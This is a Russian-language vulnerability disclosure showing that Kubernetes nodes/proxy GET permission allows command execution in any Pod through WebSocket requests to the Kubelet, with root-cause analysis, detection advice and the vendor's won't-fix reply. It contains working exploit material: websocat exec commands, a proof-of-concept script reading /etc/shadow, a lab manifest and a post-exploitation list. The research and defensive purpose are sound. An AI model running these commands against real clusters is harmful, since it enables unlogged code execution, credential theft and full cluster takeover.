Введение
В этой статье я расскажу, как выполнить код в каждом Pod’е многих Kubernetes-кластеров, используя сервисный аккаунт (service account) с разрешением nodes/proxy GET. Я изначально сообщил об этой проблеме через процедуру раскрытия уязвимостей Kubernetes, однако отчёт был закрыт со статусом «работает как задумано».
| Атрибут | Подробности |
|---|---|
Уязвимое разрешение |
|
Проверенные версии Kubernetes |
v1.34, v1.35 |
Необходимый сетевой доступ |
Kubelet API (порт 10250) |
Воздействие |
Выполнение кода в любом Pod’е на доступных узлах |
Статус раскрытия |
Won’t fix (Задуманное поведение) |
Затронутые Helm-чарты |
69 |
Администраторы Kubernetes нередко предоставляют сервисным аккаунтам доступ к ресурсу nodes/proxy — например, для получения метрик Pod’ов или логов контейнеров. Поэтому инструменты мониторинга Kubernetes повсеместно используют это разрешение.
nodes/proxy GET разрешает выполнение команд при использовании протокола с поддержкой соединений (connection protocol), например WebSockets. Причина в том, что Kubelet принимает решения об авторизации на основе начального HTTP-запроса при WebSocket-рукопожатии (handshake) — без проверки наличия разрешения CREATE для конечной точки (endpoint) /exec, которая требует разных разрешений исключительно в зависимости от используемого протокола.
В итоге любой, кто имеет доступ к сервисному аккаунту с nodes/proxy GET и может достучаться до Kubelet узла на порту 10250, способен отправлять запросы на конечную точку /exec, выполняя команды в любом Pod’е, включая привилегированные системные Pod’ы, что потенциально ведёт к полной компрометации кластера. AuditPolicy Kubernetes не записывает в журнал команды, выполненные через прямое подключение к API Kubelet’а.
Это не проблема конкретного вендора. Разрешение nodes/proxy GET широко используется вендорами, поскольку общедоступных жизнеспособных альтернатив не существует. Быстрый поиск обнаружил 69 Helm-чартов, в которых упоминается разрешение nodes/proxy GET. Одни чарты включают его по умолчанию, другие требуют дополнительной настройки. Если вас это беспокоит — обратитесь к своему вендору и изучите раздел об обнаружении в этой статье.
|
Примечание
|
Для некоторых чартов функциональность, задействующая |
Ниже перечислены наиболее заметные чарты. Полный список из 69 Helm-чартов приведён в приложении:
Следующий ClusterRole показывает минимальный набор разрешений, достаточный для эксплуатации уязвимости.
Уязвимый ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: nodes-proxy-reader
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get"]
Как администратор кластера, вы можете проверить все сервисные аккаунты на наличие этого разрешения с помощью скрипта обнаружения.
Если сервисный аккаунт уязвим, с помощью инструмента вроде websocat можно выполнять команды во всех Pod’ах кластера:
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"
uid=0(root) gid=0(root) groups=0(root)
Если хотите попробовать самостоятельно, я опубликовал лабораторную работу с пошаговым выполнением команд в чужих Pod’ах.
Чтобы следить за новыми исследованиями, подпишитесь на RSS-ленту или получайте материалы прямо на почту.
Детальный разбор: что такое Nodes/Proxy?
Краткое напоминание: Kubernetes RBAC использует ресурсы (resources) и глаголы (verbs) для управления доступом. Ресурсы вроде pods, pods/exec или pods/logs соответствуют конкретным операциям, а глаголы get, create или delete определяют допустимые действия. Например, pods/exec с глаголом create разрешает выполнение команд в Pod’ах, а pods/logs с глаголом get — чтение логов.
Ресурс nodes/proxy стоит особняком. В отличие от большинства ресурсов Kubernetes, которые отвечают за конкретные операции (как pods/exec для выполнения команд или pods/logs для доступа к логам), nodes/proxy — это разрешение-«комбайн», контролирующее доступ ко всему Kubelet API. Оно открывает доступ к двум связанным, но различным конечным точкам: прокси API-сервера (API Server Proxy) и Kubelet API.
Прокси API-сервера
Первая конечная точка, к которой открывает доступ nodes/proxy, — это прокси-эндпоинт API-сервера: $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/….
Запросы, направленные на этот эндпоинт, проксируются от API-сервера к Kubelet’у на целевом узле. Это используется для множества операций, среди которых наиболее распространены:
-
Чтение метрик:
$API_SERVER/api/v1/nodes/$NODE_NAME/proxy/metrics -
Чтение потребления ресурсов:
$API_SERVER/api/v1/nodes/$NODE_NAME/proxy/stats/summary -
Получение логов контейнеров:
$API_SERVER/api/v1/nodes/$NODE_NAME/proxy/containerLogs/$NAMESPACE/$POD_NAME/$CONTAINER_NAME
К ним можно обращаться через флаг --raw утилиты kubectl или напрямую через curl. Например, запрос к эндпоинту метрик возвращает базовую информацию:
# с помощью kubectl
kubectl get --raw /api/v1/nodes/$NODE_NAME/proxy/metrics | head -n 10
# или с помощью curl
curl -sk -H "Authorization: Bearer $TOKEN" $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/metrics | head -n 10
# HELP aggregator_discovery_aggregation_count_total [ALPHA] Counter of number of times discovery was aggregated
# TYPE aggregator_discovery_aggregation_count_total counter
aggregator_discovery_aggregation_count_total 0
# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend.
# TYPE apiserver_audit_event_total counter
apiserver_audit_event_total 0
# HELP apiserver_audit_requests_rejected_total [ALPHA] Counter of apiserver requests rejected due to an error in audit logging backend.
# TYPE apiserver_audit_requests_rejected_total counter
apiserver_audit_requests_rejected_total 0
# HELP apiserver_client_certificate_expiration_seconds [ALPHA] Distribution of the remaining lifetime on the certificate used to authenticate a request.
Поскольку этот запрос проходит через API-сервер, он генерирует записи в журнале для ресурсов pods/exec и subjectaccessreviews (если настроена AuditPolicy). В залогированном запросе pods/exec обратите внимание на поле requestURI — оно содержит полную команду, выполненную в Pod’е.
// Запрос, сгенерированный через AuditPolicy
{
"kind": "Event",
"apiVersion": "audit.k8s.io/v1",
"level": "Metadata",
"auditID": "196f4d69-6cfa-4812-b7b9-4bf13689cb8d",
"stage": "RequestReceived",
"requestURI": "/api/v1/namespaces/kube-system/pods/etcd-minikube/exec?command=sh&command=-c&command=filename%3D%2Fvar%2Flib%2Fminikube%2Fcerts%2Fetcd%2Fserver.key%3B+while+IFS%3D+read+-r+line%3B+do+printf+%22%25s%5C%5Cn%22+%22%24line%22%3Bdone+%3C+%22%24filename%22&container=etcd&stdin=true&stdout=true&tty=true",
"verb": "get",
"user": {
"username": "minikube-user",
"groups": [
"system:masters",
"system:authenticated"
],
"extra": {
"authentication.kubernetes.io/credential-id": [
"X509SHA256=3da792d1a94c5205821984a672707270a9f2d8e27190eb09051b15448e5bf0c3"
]
}
},
"sourceIPs": [
"192.168.67.1"
],
"userAgent": "kubectl/v1.31.0 (linux/amd64) kubernetes/9edcffc",
"objectRef": {
"resource": "pods",
"namespace": "kube-system",
"name": "etcd-minikube",
"apiVersion": "v1",
"subresource": "exec"
},
"requestReceivedTimestamp": "2025-11-04T05:42:51.025534Z",
"stageTimestamp": "2025-11-04T05:42:51.025534Z"
}
Kubelet API
Помимо прокси-эндпоинта API-сервера, ресурс nodes/proxy также открывает прямой доступ к API Kubelet’а. Напомним: на каждом узле работает процесс Kubelet, который сообщает среде выполнения контейнеров (container runtime), какие контейнеры нужно создать.
Kubelet предоставляет различные API-эндпоинты, возвращающие информацию, аналогичную той, что доступна через прокси API-сервера. Например, те же данные метрик можно получить, обратившись к Kubelet API напрямую.
|
Примечание
|
Здесь необходимо использовать IP-адрес узла, а не его имя, как в запросе к API-серверу. |
# HELP aggregator_discovery_aggregation_count_total [ALPHA] Counter of number of times discovery was aggregated
# TYPE aggregator_discovery_aggregation_count_total counter
aggregator_discovery_aggregation_count_total 0
# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend.
# TYPE apiserver_audit_event_total counter
apiserver_audit_event_total 0
# HELP apiserver_audit_requests_rejected_total [ALPHA] Counter of apiserver requests rejected due to an error in audit logging backend.
# TYPE apiserver_audit_requests_rejected_total counter
apiserver_audit_requests_rejected_total 0
# HELP apiserver_client_certificate_expiration_seconds [ALPHA] Distribution of the remaining lifetime on the certificate used to authenticate a request.
Примечательно, что прямое соединение с Kubelet’ом не проходит через API-сервер. Это означает, что AuditPolicy Kubernetes генерирует записи только для subjectaccessreviews (проверка авторизации перед выполнением действия), но не логирует само действие pods/exec, и команда, выполненная в Pod’е, остаётся незаметной.
{
"kind": "Event",
"apiVersion": "audit.k8s.io/v1",
"level": "Metadata",
"auditID": "1be86af9-26e7-40e9-aaae-bbb904df129b",
"stage": "ResponseComplete",
"requestURI": "/apis/authorization.k8s.io/v1/subjectaccessreviews",
"verb": "create",
"user": {
"username": "system:node:minikube",
"groups": [
"system:nodes",
"system:authenticated"
],
"extra": {
"authentication.kubernetes.io/credential-id": [
"X509SHA256=52d652baad2bfd4d1fa0bb82308980964f8c7fbf01784f30e096accd1691f889"
]
}
},
"sourceIPs": [
"192.168.67.2"
],
"userAgent": "kubelet/v1.34.0 (linux/amd64) kubernetes/f28b4c9",
"objectRef": {
"resource": "subjectaccessreviews",
"apiGroup": "authorization.k8s.io",
"apiVersion": "v1"
},
"responseStatus": {
"metadata": {},
"code": 201
},
"requestReceivedTimestamp": "2025-11-04T05:54:54.978676Z",
"stageTimestamp": "2025-11-04T05:54:54.979425Z",
"annotations": {
"authorization.k8s.io/decision": "allow",
"authorization.k8s.io/reason": ""
}
}
На момент написания документация по авторизации Kubelet’а не содержит исчерпывающего списка API-эндпоинтов. Kubelet API предоставляет следующие дополнительные эндпоинты:
-
/exec— запускает новый процесс и выполняет произвольные команды в контейнерах (интерактивный режим) -
/run— аналог/exec, выполняет команды в контейнерах и возвращает вывод (не интерактивный) -
/attach— подключается к процессу контейнера и открывает доступ к его потокам stdin/stdout/stderr -
/portforward— создаёт сетевые туннели для перенаправления TCP-соединений к контейнерам
Основной интерес для нас представляют эндпоинты /exec и /run. В отличие от read-only эндпоинтов /metrics и /stats, они разрешают выполнение кода внутри контейнеров.
В стандартной семантике Kubernetes RBAC операции вроде создания Pod’ов или выполнения в них команд требуют RBAC-глагола CREATE, тогда как операции чтения — глагола GET. Это делает очень простым взгляд на (Cluster)Role и понимание того, является ли она read-only или нет. Однако, как указал Рори МакКьюн в статье When is read-only not read-only?, это правило работает не всегда.
nodes/proxy CREATE общепризнанно опасен и хорошо задокументирован как риск:
Даже в ходе аудита безопасности от nccgroup были обнаружены проблемы с nodes/proxy GET в сочетании с nodes/status PATCH или nodes CREATE:
Документация явно указывает, что авторизация запросов к Kubelet и к прокси-пути API-сервера работает одинаково: «Kubelet авторизует API-запросы, используя тот же подход на основе атрибутов запроса, что и API-сервер».
Когда обычный запрос поступает на API-сервер, Kubernetes считывает HTTP-метод (GET, POST, PUT…) и преобразует его в RBAC-глаголы: GET, CREATE, UPDATE. (auth.go:80-94)
Документация Kubernetes описывает следующие соответствия HTTP-глаголов и RBAC-глаголов:
Это должно обеспечивать единообразное поведение: POST → RBAC CREATE, GET → RBAC GET. Однако когда к эндпоинту /exec Kubelet’а обращаются через не-HTTP-протокол, например WebSockets (который по RFC требует HTTP GET во время начального рукопожатия), Kubelet принимает решение об авторизации именно на основе этого начального GET-запроса, а не на основе последующей операции выполнения команды. В результате nodes/proxy GET ошибочно разрешает выполнение команд там, где должен требоваться nodes/proxy CREATE.
Разбор уязвимости
Разрешение nodes/proxy предоставляет сервисному аккаунту доступ к Kubelet API. Специалисты по безопасности давно установили, что это может быть опасно: даже без данной уязвимости доступ на чтение к Kubelet API открывает read-only эндпоинты вроде /metrics и /containerLogs.
|
Примечание
|
Настоятельно рекомендую проверить их на наличие секретов и API-ключей! |
Однако описываемая проблема гораздо серьёзнее: nodes/proxy GET фактически даёт возможность записи — доступ к эндпоинтам выполнения команд.
Для дальнейшего обсуждения я буду использовать сервисный аккаунт со следующим ClusterRole:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: nodes-proxy-reader
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get"]
Первопричина
Как было сказано ранее, Kubelet выбирает проверяемый RBAC-глагол на основе начального HTTP-метода. POST → RBAC CREATE, GET → RBAC GET.
Это примечательно, поскольку эндпоинты выполнения команд на Kubelet’е, такие как /exec, используют WebSockets для двунаправленной потоковой передачи данных. HTTP плохо подходит для интерактивного двунаправленного взаимодействия в реальном времени, поэтому для интерактивного выполнения команд нужен протокол вроде WebSockets или SPDY.
Протокол WebSocket требует начального HTTP GET-запроса с заголовком Connection: Upgrade для установления соединения и перехода на WebSockets.
Это означает, что при установлении любого WebSocket-соединения первым всегда отправляется HTTP GET с заголовком Connection: Upgrade.
Из-за этого начального GET-запроса при установлении WebSocket-соединения Kubelet ошибочно авторизует запрос на основании этого GET, а не проверяет разрешения на фактическую операцию после установления соединения.
В Kubelet’е отсутствует проверка авторизации после обновления соединения (upgrade): он никогда не проверяет, есть ли у сервисного аккаунта разрешение на реальную выполняемую операцию при использовании WebSockets.
Это позволяет выполнять команды через эндпоинт /exec без разрешения CREATE, используя инструмент вроде websocat для отправки WebSocket-запросов.
Чтобы продемонстрировать это, проверим свои разрешения и убедимся, что сервисному аккаунту назначено только nodes/proxy GET:
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
nodes/proxy [] [] [get]
Убедившись, что у сервисного аккаунта есть только nodes/proxy GET, можно использовать websocat для отправки WebSocket-запроса напрямую к эндпоинту /exec Kubelet’а:
websocat \
--insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=hostname"
nginx
{"metadata":{},"status":"Success"}
Вывод подтверждает: команда hostname выполнилась успешно. Вот она — уязвимость. Логика авторизации Kubelet’а сопоставляет HTTP GET WebSocket’а, отправленный во время рукопожатия, с RBAC-глаголом GET. После этого проверяется nodes/proxy GET (который у нас есть), и операция разрешается. Никакой повторной проверки наличия CREATE для этой операции записи не существует!
Для сравнения: при использовании POST (который соответствует RBAC-глаголу CREATE) к тому же эндпоинту /exec запрос отклоняется:
curl -sk -X POST \
-H "Authorization: Bearer $TOKEN" \
"https://$NODE_IP:10250/exec/default/nginx/nginx?command=hostname&stdout=true&stderr=true"
Forbidden (user=system:serviceaccount:default:attacker, verb=create, resource=nodes, subresource(s)=[proxy])
Как и ожидалось, запрос отклонён, поскольку у пользователя system:serviceaccount:default:attacker нет nodes/proxy CREATE — только nodes/proxy GET. Логика авторизации корректно сопоставляет HTTP POST с RBAC-глаголом CREATE.
Оба запроса нацелены на один и тот же эндпоинт /exec Kubelet’а для выполнения команд, но авторизуются с разными RBAC-глаголами — исключительно на основе начального HTTP-метода, требуемого протоколом соединения.
Решения об авторизации должны основываться на том, что делает операция, а не на том, как передаётся запрос. Это позволяет злоумышленникам обходить существующие механизмы контроля доступа, просто выбирая другой протокол соединения.
|
Примечание
|
В этой статье для простоты используются WebSockets, хотя в Kubernetes применяется и SPDY. |
Чтобы понять, почему так происходит, мне пришлось проследить путь запроса через кодовую базу. Вот цепочка, которую я обнаружил:
-
Клиент инициирует WebSocket-соединение: клиент отправляет HTTP GET на
/exec/default/nginx/nginx?command=idс заголовкомConnection: Upgradeдля установления WebSocket-соединения. Например, с помощью websocat. -
Аутентификация: Kubelet проверяет JWT bearer token из запроса и извлекает идентификатор пользователя, например
system:serviceaccount:default:attacker. (server.go:338) -
Атрибуты авторизации запроса: Kubelet вызывает функцию получения атрибутов авторизации, передавая аутентифицированного пользователя и HTTP-запрос для определения проверяемых RBAC-разрешений. (server.go:350)
-
Сопоставление HTTP-метода с RBAC-глаголом: Kubelet анализирует метод запроса
GET(обязательный по протоколу WebSocket согласно RFC 6455) и сопоставляет его с RBAC-глаголом"get". (auth.go:87)
|
Примечание
|
Это первая ошибка. Решение об авторизации принимается на основе обязательного HTTP |
-
Сопоставление пути запроса с подресурсом: Kubelet анализирует путь
/exec/default/nginx/nginx. Он не совпадает ни с одним конкретным случаем (/stats,/metrics,/logs,/checkpoint), поэтому по умолчанию используется подресурсproxy. (auth.go:129)
|
Примечание
|
Это вторая ошибка. Эндпоинт |
-
Формирование атрибутов авторизации: Kubelet создаёт запись авторизации с глаголом
GET, ресурсомnodesи подресурсомproxy. Именно это будет проверяться по правилам RBAC. (auth.go:136)
Запись может выглядеть примерно так:
authorizer.AttributesRecord{
User: system:serviceaccount:default:attacker,
Verb: "get",
Namespace: "",
APIGroup: "",
APIVersion: "v1",
Resource: "nodes",
Subresource: "proxy",
Name: "minikube-m02",
ResourceRequest: true,
Path: "/exec/default/nginx/nginx",
}
-
Возврат атрибутов в фильтр: Kubelet возвращает сформированную запись авторизации обратно в фильтр авторизации. (auth.go:151)
-
Выполнение проверки авторизации: Kubelet выполняет авторизацию — как правило, через webhook-запрос к RBAC-авторизатору API-сервера: «Может ли пользователь
system:serviceaccount:default:attackerвыполнить глаголgetнад ресурсомnodes/proxy?» (server.go:356)
|
Примечание
|
Именно здесь генерируются записи журнала |
-
Авторизация прошла успешно: авторизатор возвращает решение «разрешено», поскольку ClusterRole пользователя предоставляет
nodes/proxyс глаголом["get"]. (server.go:365)
|
Примечание
|
Это результат предыдущих ошибок: операции записи разрешаются несмотря на то, что у нас есть только RBAC-глагол get. |
-
Передача обработчику: Kubelet передаёт запрос следующему фильтру/обработчику в цепочке, поскольку авторизация прошла успешно. (server.go:384)
-
Маршрутизация к обработчику exec: запрос совпадает с зарегистрированным маршрутом для GET-запросов к эндпоинту exec, и Kubelet передаёт его соответствующему обработчику. (server.go:968)
|
Примечание
|
Именно здесь должна существовать вторая проверка авторизации — как это реализовано при использовании пути через прокси API-сервера. (authorize.go:31) |
-
Поиск Pod’а: Kubelet ищет целевой Pod
nginxв пространстве имёнdefault. (server.go:976) -
Запрос URL выполнения от среды выполнения контейнеров: Kubelet запрашивает у Container Runtime Interface (CRI) потоковый URL для выполнения команды в указанном Pod’е и контейнере. (server.go:983)
-
Среда выполнения контейнеров возвращает URL: CRI возвращает URL потокового эндпоинта для установления WebSocket-соединения и выполнения команды.
-
Установление WebSocket-потока: Kubelet обновляет HTTP-соединение до WebSocket и устанавливает двунаправленную передачу данных между клиентом и средой выполнения контейнеров. (server.go:988)
-
Выполнение команды в контейнере: среда выполнения контейнеров выполняет команду
idвнутри контейнера nginx. -
Возврат результата команды: среда выполнения передаёт вывод
uid=0(root) gid=0(root) groups=0(root)обратно через WebSocket-соединение. -
Передача клиенту: Kubelet проксирует выходной поток клиенту, завершая выполнение команды — имея лишь разрешение
nodes/proxy GET.
Что это демонстрирует?
Анализ кода выявляет два самостоятельных архитектурных изъяна, которые в сочетании и порождают уязвимость.
Авторизация на основе протокола соединения: Kubelet принимает решения об авторизации на основе начального HTTP-метода, а не выполняемой операции. WebSocket-соединения используют HTTP GET для начального рукопожатия, поэтому Kubelet проверяет глагол GET вместо CREATE.
Эндпоинты выполнения команд по умолчанию относятся к proxy: у Kubelet’а нет отдельных подресурсов для эндпоинтов выполнения команд /exec, /run, /attach и /portforward. Kubelet авторизует все эти эндпоинты через ресурс nodes/proxy. Сама по себе эта ошибка не эксплуатируема: при правильном сопоставлении глаголов WebSocket-соединения по-прежнему требовали бы CREATE. Проверка авторизации была бы nodes/proxy CREATE, что правомерно блокирует пользователей, имеющих только GET.
|
Примечание
|
Простое исправление этой ошибки лишь откладывает проблему. Добавление нового ресурса |
В совокупности эти два изъяна создают обход авторизации, при котором широко используемое разрешение nodes/proxy GET неожиданно позволяет выполнять команды в любом Pod’е по всему кластеру.
Обнаружение и рекомендации
К моему разочарованию, этот отчёт был закрыт со статусом «Won’t Fix» (Работает как задумано). Это означает, что разрешение nodes/proxy GET по-прежнему остаётся путём к правам администратора кластера.
Как администратор кластера, вы можете проверить все сервисные аккаунты на наличие этого разрешения с помощью скрипта обнаружения. Понимание модели угроз вашего кластера поможет оценить серьёзность проблемы. Она наиболее актуальна для мультиарендных кластеров (multi-tenant) или тех, где узлы являются границей безопасности.
Предпосылкой для эксплуатации является сетевой доступ к Kubelet API. Ограничение трафика к порту Kubelet’а остановило бы атаку, однако я не проверял, как это повлияет на работу кластера в целом.
В ходе обсуждений, возникших в результате раскрытия, проект Kubernetes рекомендовал продолжить реализацию KEP-2862. Эта функциональность не является общедоступной (Generally Available), и большинство вендоров, судя по всему, её не поддерживают (за исключением таких компаний, как Datadog, реализовавшей её в своих чартах). Это шаг в правильном направлении, но он не устраняет саму уязвимость. Подробнее я остановлюсь на этом ниже.
Эксплуатация
Детали уязвимости, описанные выше, более чем достаточны для понимания того, как её использовать. Начав с скомпрометированного Pod’а с разрешением nodes/proxy GET, злоумышленник может:
-
Перечислить все Pod’ы на доступных узлах через эндпоинт
/podsKubelet’а -
Выполнять команды в любом Pod’е, используя WebSockets для обхода проверки глагола
CREATE -
Атаковать привилегированные системные Pod’ы вроде
kube-proxyдля получения root-доступа -
Похитить токены сервисных аккаунтов для обнаружения дополнительных узлов и перемещения по кластеру
-
Получить доступ к Pod’ам управляющего уровня (control plane), включая
etcd,kube-apiserverиkube-controller-manager -
Извлечь секреты кластера или смонтировать файловую систему хоста из привилегированных контейнеров
Итог — полная компрометация кластера из того, что выглядит как read-only разрешение.
Proof of Concept
Ниже приведён быстрый скрипт proof of concept для экспериментов:
#!/bin/bash
# Colors
RED=$(tput setaf 1)
BLUE=$(tput setaf 4)
YELLOW=$(tput setaf 3)
GREEN=$(tput setaf 2)
ENDCOLOR=$(tput sgr0)
TICK="[${GREEN}+${ENDCOLOR}] "
TICK_MOVE="[${GREEN}~>${ENDCOLOR}] "
TICK_BACKUP="[${GREEN}<~${ENDCOLOR}] "
TICK_INPUT="[${YELLOW}!${ENDCOLOR}] "
TICK_ERROR="[${RED}!${ENDCOLOR}] "
# Config
NODE_IP="${NODE_IP:?NODE_IP not set}"
TOKEN="${TOKEN:?TOKEN not set}"
NAMESPACE="${NAMESPACE:-default}"
POD="${POD:-nginx}"
CONTAINER="${CONTAINER:-nginx}"
exec_cmd() {
local cmd="$1"
local args=""
for arg in $cmd; do
args+="&command=$arg"
done
args="${args:1}" # strip leading &
timeout 3 websocat --insecure -E \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&$args" 2>/dev/null \
| grep -v '{"metadata":{}}'
}
echo ""
echo "${TICK}Target: ${YELLOW}$NODE_IP:10250 ${ENDCOLOR}"
echo "${TICK}Pod: ${YELLOW}$NAMESPACE/$POD${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Fetching hostname..."
hostname=$(exec_cmd "cat /etc/hostname" | tr -d '\n\r')
echo "${TICK}Hostname: ${GREEN}$hostname${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Fetching identity..."
identity=$(exec_cmd "id")
echo "${TICK}Identity: ${GREEN}$identity${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Attempting to read /etc/shadow..."
shadow=$(exec_cmd "cat /etc/shadow")
if [[ -n "$shadow" ]]; then
echo "${TICK}${RED}Successfully read /etc/shadow:${ENDCOLOR}"
echo "$shadow"
else
echo "${TICK_ERROR}Could not read /etc/shadow"
fi
Если хотите попробовать онлайн, я опубликовал лабораторную работу с пошаговым выполнением команд в чужих Pod’ах.
Для локального тестирования вот минимальный манифест для начала работы:
apiVersion: v1
kind: ServiceAccount
metadata:
name: attacker
namespace: default
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: nodes-proxy-reader
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: attacker-nodes-proxy-reader
subjects:
- kind: ServiceAccount
name: attacker
namespace: default
roleRef:
kind: ClusterRole
name: nodes-proxy-reader
apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: Pod
metadata:
name: attacker
namespace: default
spec:
serviceAccountName: attacker
containers:
- name: attacker
image: alpine
command: ["sleep", "infinity"]
---
apiVersion: v1
kind: Pod
metadata:
name: nginx
namespace: default
spec:
containers:
- name: nginx
image: nginx
В ближайшие недели я опубликую детальное руководство по эксплуатации, в котором шаг за шагом разберу эти техники — включая инструменты и пошаговый разбор выхода из Pod’а на узел.
Процесс раскрытия
Уязвимость была сообщена команде безопасности Kubernetes через HackerOne 1 ноября 2025 года.
Хронология
| Дата | Событие |
|---|---|
1 ноября 2025 |
Первичный отчёт направлен команде безопасности Kubernetes |
14 ноября 2025 |
Запрошено обновление статуса |
25 ноября 2025 |
Отчёт принят в работу (triaged) |
14 декабря 2025 |
Команда уведомлена о 90-дневном сроке раскрытия (30 января 2026) |
7 января 2026 |
Запрошено обновление по мере приближения даты раскрытия |
23 января 2026 |
Ответ команды безопасности Kubernetes: Won’t Fix (Работает как задумано) |
26 января 2026 |
Публичное раскрытие |
Ответ команды безопасности Kubernetes
Приносим извинения за очень долгое ожидание.
После дополнительного рассмотрения совместно с SIG-Auth и SIG-Node мы подтверждаем наше решение: данное поведение является ожидаемым и не получит CVE. Несмотря на то что мы согласны с рисками
nodes/proxy, исправление, ограничивающее этот конкретный путь, потребовало бы изменений авторизации как в Kubelet’е (для особой обработки пути/exec), так и в kube-apiserver (для добавления вторичной проверки пути/execпосле сопоставления общего пути сnodes/proxy) — чтобы принудительно применять двойную авторизацию для глаголов «get» и «create». Мы пришли к выводу, что реализация и согласование такой логики двойной авторизации является хрупкой, архитектурно некорректной и потенциально неполной.Мы по-прежнему уверены, что KEP-2862 (Fine-Grained Kubelet API Authorization) является правильным архитектурным решением. Вместо изменения грубозернистой авторизации
nodes/proxyнаша цель — сделать её устаревшей для агентов мониторинга, переведя детализированные разрешения в статус GA в релизе [1.36], ожидаемом в апреле 2026 года. После того как это некоторое время проработает в GA, мы сможем оценить риски совместимости при объявлении старого метода устаревшим. В рамках KEP мы выделили read-only эндпоинты (/configz /healthz /pods) и оставили эндпоинты выполнения кода (/attach /exec /run) как группу, поскольку у нас нет сценария использования, где имело бы смысл иметь доступ только к одному из них. Официальная документация [здесь] призвана прояснить текущую ситуацию с безопасностью. В предстоящем релизе мы подчеркнём важность этой функциональности и риски использованияnodes/proxy.Пожалуйста, не стесняйтесь публиковать свою статью и при желании включайте этот текст. Мы надеемся, что ваша публикация поможет нам побудить экосистему перейти на более безопасную модель авторизации, предоставляемую KEP-2862.
С уважением, команда безопасности Kubernetes
Я понимаю этот ответ и ценю его, однако со многими аспектами не согласен.
1. То же самое поведение было исправлено в другом месте
«Мы подтверждаем наше решение: данное поведение является ожидаемым»
Когда команда kubectl exec перешла с SPDY на WebSocket по умолчанию, API-сервер начал авторизовывать операции записи с неверным глаголом — ровно та же самая ошибка, но для ресурса pods/exec. Kubernetes v1.35 исправил эту ранее сообщённую проблему, добавив вторичную проверку авторизации, которая явно верифицирует глагол CREATE независимо от HTTP-метода.
Комментарий, обсуждающий исправление, прямо указывает на то, что это был неожиданный побочный эффект:
// Pod subresources differs on the REST verbs depending on the protocol used
// SPDY uses POST that at the authz layer is translated to "create".
// Websockets uses GET that is translated to "get".
// Since the defaulting to websocket for kubectl in KEP-4006 this caused an
// unexpected side effect and in order to keep existing policies backwards
// compatible we always check that the "create" verb is allowed.
// Ref: https://issues.k8s.io/133515
2. Авторизация непоследовательна
«Официальная документация [здесь] призвана прояснить текущую ситуацию с безопасностью.»
Документация, на которую они ссылаются, утверждает, что «https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/#kubelet-authorization[Kubelet авторизует API-запросы, используя тот же подход на основе атрибутов запроса, что и API-сервер]». Однако требования к авторизации непоследовательны в зависимости от способа обращения к эндпоинту /exec Kubelet’а. Запрос, отправленный через путь прокси API-сервера $APISERVER/api/v1/nodes/$NODE_NAME/proxy/exec/…, и запрос напрямую к Kubelet API $NODE_IP:10250/exec/… приводят к разным решениям об авторизации.
Для демонстрации попробуем выполнить команду hostname через путь прокси API-сервера. Обратите внимание: мы намеренно отправляем запрос методом POST. Запрос будет выглядеть так:
POST /api/v1/nodes/minikube-m02/proxy/exec/default/nginx/nginx?command=hostname&stdout=true HTTP/2
Host: 10.96.0.1
User-Agent: curl/8.5.0
Accept: */*
Authorization: Bearer $TOKEN
Отправляем запрос через curl:
curl -sk -X POST \
-H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/nodes/$NODE_NAME/proxy/exec/default/nginx/nginx?command=hostname&stdout=true"
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "nodes \"minikube-m02\" is forbidden: User \"system:serviceaccount:default:attacker\" cannot create resource \"nodes/proxy\" in API group \"\" at the cluster scope",
"reason": "Forbidden",
"details": {
"name": "minikube-m02",
"kind": "nodes"
},
"code": 403
}
Как и ожидалось, ответ — 403 Forbidden. API-сервер корректно сопоставляет POST-запрос с RBAC-глаголом CREATE, которого у нас нет, и проверка не проходит.
Теперь попробуем выполнить команду hostname в том же Pod’е, подключившись напрямую к Kubelet’у через WebSockets. Помним: WebSockets использует HTTP GET для начального рукопожатия:
websocat \
--insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=hostname"
nginx
{"metadata":{},"status":"Success"}
